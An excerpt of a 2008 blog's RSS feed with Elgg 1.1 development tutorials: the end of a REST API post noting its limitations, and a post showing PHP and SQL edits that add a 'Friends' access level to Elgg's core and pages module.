<li value="376" class="tab2 even"><code><span style="color: #339933;">*</span> &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#41;</span></code></li>
<li value="377" class="tab2 odd"><code><span style="color: #339933;">*</span> <span style="color: #339933;">@</span>param string <span style="color: #000088;">$description</span> Optional human readable description of the <span style="color: #000000; font-weight: bold;">function</span><span style="color: #339933;">.</span></code></li>
<li value="378" class="tab2 even"><code><span style="color: #339933;">*</span> <span style="color: #339933;">@</span>param string <span style="color: #000088;">$call_method</span> <a href="http://www.php.net/define"><span style="color: #990000;">Define</span></a> what call method should be used <span style="color: #b1b100;">for</span> this <span style="color: #000000; font-weight: bold;">function</span><span style="color: #339933;">.</span></code></li>
<li value="379" class="tab2 odd"><code><span style="color: #339933;">*</span> <span style="color: #339933;">@</span>param bool <span style="color: #000088;">$require_auth_token</span> Whether this requires a user authentication token or not <span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">default</span> is <span style="color: #000000; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span></code></li>
<li value="380" class="tab2 even"><code><span style="color: #339933;">*</span> <span style="color: #339933;">@</span>param bool <span style="color: #000088;">$anonymous</span> Can anonymous <span style="color: #009900;">&#40;</span>non<span style="color: #339933;">-</span>authenticated in any way<span style="color: #009900;">&#41;</span> users execute this call<span style="color: #339933;">.</span></code></li>
<li value="381" class="tab2 odd"><code><span style="color: #339933;">*</span> <span style="color: #339933;">@</span><span style="color: #b1b100;">return</span> bool</code></li>
<li value="382" class="tab2 even"><code><span style="color: #339933;">*/</span></code></li>
<li value="383" class="tab1 odd"><code><span style="color: #000000; font-weight: bold;">function</span> expose_function<span style="color: #009900;">&#40;</span><span style="color: #000088;">$method</span><span style="color: #339933;">,</span> <span style="color: #000088;">$function</span><span style="color: #339933;">,</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a> <span style="color: #000088;">$parameters</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">NULL</span><span style="color: #339933;">,</span> <span style="color: #000088;">$description</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$call_method</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;GET&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$require_auth_token</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #000088;">$anonymous</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span></code></li>
</ol>
<p>There are limitations of the REST API, one of them being that the return value is rendered in a view. You can override the view by including the directory structure and file <code>views/default/api/output.php</code> in your module directory, but Elgg will still render it as HTML; if you need to process the result, you will need to parse this HTML.  Also, if you decide to override this view, it will be overridden for any REST API method calls, not just the one implemented in your module.</p>
<p>One particular limitation of the sample above is that it does not authenticate!  At least I couldn&#8217;t get it to work; the reason is that the API method is registered as not requiring a user authentication token. As a result, the method executes in unauthenticated fashion, and when <code>authenticate()</code> is called to attempt to authenticate the user, it always succeeds - regardless of the password - because <code>pam_authenticate()</code> returns true for the executing method.  (Hopefully this would make sense to you if you&#8217;ve written an authentication plugin.)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.danielansari.com/wordpress/2008/12/how-to-use-the-rest-api-in-elgg-11/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Adding &#8220;Friends&#8221; access level to Elgg 1.1</title>
		<link>http://www.danielansari.com/wordpress/2008/09/adding-friends-access-level-to-elgg-10/</link>
		<comments>http://www.danielansari.com/wordpress/2008/09/adding-friends-access-level-to-elgg-10/#comments</comments>
		<pubDate>Tue, 30 Sep 2008 15:43:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[access level]]></category>

		<category><![CDATA[elgg]]></category>

		<category><![CDATA[friends]]></category>

		<guid isPermaLink="false">http://danielansari.com/wordpress/?p=4</guid>
		<description><![CDATA[Out of the box, Elgg 1.1 has three access levels: private, logged-in users, and public.
A few people have asked about how to add a further access level: friends.  Currently, the only way to give friends access to an item is to create a friends collection, then specify that collection for the access level.  [...]]]></description>
			<content:encoded><![CDATA[<p>Out of the box, <a href="http://www.elgg.org/">Elgg</a> 1.1 has three access levels: private, logged-in users, and public.</p>
<p>A few people have asked about how to add a further access level: friends.  Currently, the only way to give friends access to an item is to create a friends collection, then specify that collection for the access level.  The problem with this approach is that every you add or remove a friend, you need to update your collection manually.</p>
<p>The Elgg development philosophy is <em>not</em> to modify the core files, but instead to write plugins, if you need to modify any of the core functionality.  However, in this case, there are no Elgg events that we can hook into, as access level is such a fundamental part of the core.  Thus, we are forced to modify a couple of the core files.</p>
<p>Note that this won&#8217;t work for MySQL versions prior to 4.1, as they do not support subqueries.</p>
<p>Add line 147 in <code>engine/lib/access.php</code>:</p>
<link rel="stylesheet" href="http://www.danielansari.com/wordpress/wp-content/plugins/codeviewer/codeviewer.css" type="text/css" media="all" />
<ol class="codelist">
<li value="145" class="tab2 odd"><code><span style="color: #000000; font-weight: bold;">function</span> get_access_sql_suffix<span style="color: #009900;">&#40;</span><span style="color: #000088;">$table_prefix</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span></code></li>
<li value="146" class="tab2 even"><code><span style="color: #009900;">&#123;</span></code></li>
<li value="147" class="tab3 odd"><code><a href="http://www.php.net/global"><span style="color: #990000;">global</span></a> <span style="color: #000088;">$CONFIG</span><span style="color: #339933;">;</span></code></li>
<li value="148" class="tab3 even"><code><a href="http://www.php.net/global"><span style="color: #990000;">global</span></a> <span style="color: #000088;">$ENTITY_SHOW_HIDDEN_OVERRIDE</span><span style="color: #339933;">;</span></code></li>
<li value="149" class="odd">&nbsp;</li>
</ol>
<p>Change line 167 in <code>engine/lib/access.php</code>:</p>
<link rel="stylesheet" href="http://www.danielansari.com/wordpress/wp-content/plugins/codeviewer/codeviewer.css" type="text/css" media="all" />
<ol class="codelist">
<li value="166" class="tab4 even"><code><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></code></li>
<li value="167" class="tab5 odd"><code><span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot; (<span style="color: #006699; font-weight: bold;">{$table_prefix}</span>access_id in <span style="color: #006699; font-weight: bold;">{$access}</span> or (<span style="color: #006699; font-weight: bold;">{$table_prefix}</span>access_id = 0 and <span style="color: #006699; font-weight: bold;">{$table_prefix}</span>owner_guid = <span style="color: #006699; font-weight: bold;">$owner</span>) or (<span style="color: #006699; font-weight: bold;">{$table_prefix}</span>access_id = -1 and (<span style="color: #006699; font-weight: bold;">{$table_prefix}</span>owner_guid = <span style="color: #006699; font-weight: bold;">$owner</span> or <span style="color: #006699; font-weight: bold;">{$table_prefix}</span>owner_guid in (select guid_two from <span style="color: #006699; font-weight: bold;">{$CONFIG-&gt;dbprefix}</span>entity_relationships er where er.guid_one = <span style="color: #006699; font-weight: bold;">$owner</span> and er.relationship = &#8216;friend&#8217;))))&quot;</span><span style="color: #339933;">;</span></code></li>
</ol>
<p>Change line 201 to the following:</p>
<link rel="stylesheet" href="http://www.danielansari.com/wordpress/wp-content/plugins/codeviewer/codeviewer.css" type="text/css" media="all" />
<ol class="codelist">
<li value="201" class="tab4 odd"><code><span style="color: #000088;">$tmp_access_array</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">=&gt;</span> elgg_echo<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;PRIVATE&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span> <span style="color: #339933;">=&gt;</span> elgg_echo<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;FRIENDS&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span> <span style="color: #339933;">=&gt;</span> elgg_echo<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;LOGGED_IN&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span> <span style="color: #339933;">=&gt;</span> elgg_echo<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;PUBLIC&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></code></li>
</ol>
<p>The last change in core is to add line 190 in <code>languages/en.php</code>:</p>
<link rel="stylesheet" href="http://www.danielansari.com/wordpress/wp-content/plugins/codeviewer/codeviewer.css" type="text/css" media="all" />
<ol class="codelist">
<li value="187" class="tab3 odd"><code><span style="color: #0000ff;">&#8216;PRIVATE&#8217;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;Private&quot;</span><span style="color: #339933;">,</span></code></li>
<li value="188" class="tab3 even"><code><span style="color: #0000ff;">&#8216;LOGGED_IN&#8217;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;Logged in users&quot;</span><span style="color: #339933;">,</span></code></li>
<li value="189" class="tab3 odd"><code><span style="color: #0000ff;">&#8216;PUBLIC&#8217;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;Public&quot;</span><span style="color: #339933;">,</span></code></li>
<li value="190" class="tab3 even"><code><span style="color: #0000ff;">&#8216;FRIENDS&#8217;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;Friends&quot;</span><span style="color: #339933;">,</span></code></li>
<li value="191" class="tab3 odd"><code><span style="color: #0000ff;">&#8216;access&#8217;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;Access&quot;</span><span style="color: #339933;">,</span></code></li>
</ol>
<p>Finally, the pages module needs to respect the new access level, so modify <code>mod/pages/start.php</code> by adding lines 252-256, and 262-269:</p>
<link rel="stylesheet" href="http://www.danielansari.com/wordpress/wp-content/plugins/codeviewer/codeviewer.css" type="text/css" media="all" />
<ol class="codelist">
<li value="249" class="tab4 odd"><code><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$write_permission</span><span style="color: #339933;">!=</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/in_array"><span style="color: #990000;">in_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$write_permission</span><span style="color: #339933;">,</span><span style="color: #000088;">$list</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></code></li>
<li value="250" class="tab5 even"><code><span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">;</span></code></li>
<li value="251" class="odd">&nbsp;</li>
<li value="252" class="tab4 even"><code><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$write_permission</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></code></li>
<li value="253" class="tab5 odd"><code><span style="color: #000088;">$friends</span> <span style="color: #339933;">=</span> get_friends<span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&#8216;entity&#8217;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></code></li>
<li value="254" class="tab5 even"><code><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/in_array"><span style="color: #990000;">in_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">guid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$friends</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></code></li>
<li value="255" class="tab6 odd"><code><span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">true</span><span style="color: #339933;">;</span></code></li>
<li value="256" class="tab4 even"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="257" class="odd">&nbsp;</li>
<li value="258" class="tab3 even"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="259" class="tab2 odd"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="260" class="tab1 even"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="261" class="odd">&nbsp;</li>
<li value="262" class="tab1 even"><code><span style="color: #000000; font-weight: bold;">function</span> get_friends<span style="color: #009900;">&#40;</span><span style="color: #000088;">$entity</span><span style="color: #009900;">&#41;</span></code></li>
<li value="263" class="tab1 odd"><code><span style="color: #009900;">&#123;</span></code></li>
<li value="264" class="tab2 even"><code><span style="color: #000088;">$friends</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></code></li>
<li value="265" class="tab2 odd"><code><span style="color: #000088;">$entities</span> <span style="color: #339933;">=</span> get_entities_from_relationship<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&#8216;friend&#8217;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$entity</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">owner_guid</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&#8216;user&#8217;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&#8221;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&#8221;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1000000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></code></li>
<li value="266" class="tab2 even"><code><span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$entities</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$friend</span><span style="color: #009900;">&#41;</span></code></li>
<li value="267" class="tab3 odd"><code><span style="color: #000088;">$friends</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$friend</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">guid</span><span style="color: #339933;">;</span></code></li>
<li value="268" class="tab2 even"><code><span style="color: #b1b100;">return</span> <span style="color: #000088;">$friends</span><span style="color: #339933;">;</span></code></li>
<li value="269" class="tab1 odd"><code><span style="color: #009900;">&#125;</span></code></li>
<li value="270" class="even">&nbsp;</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.danielansari.com/wordpress/2008/09/adding-friends-access-level-to-elgg-10/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
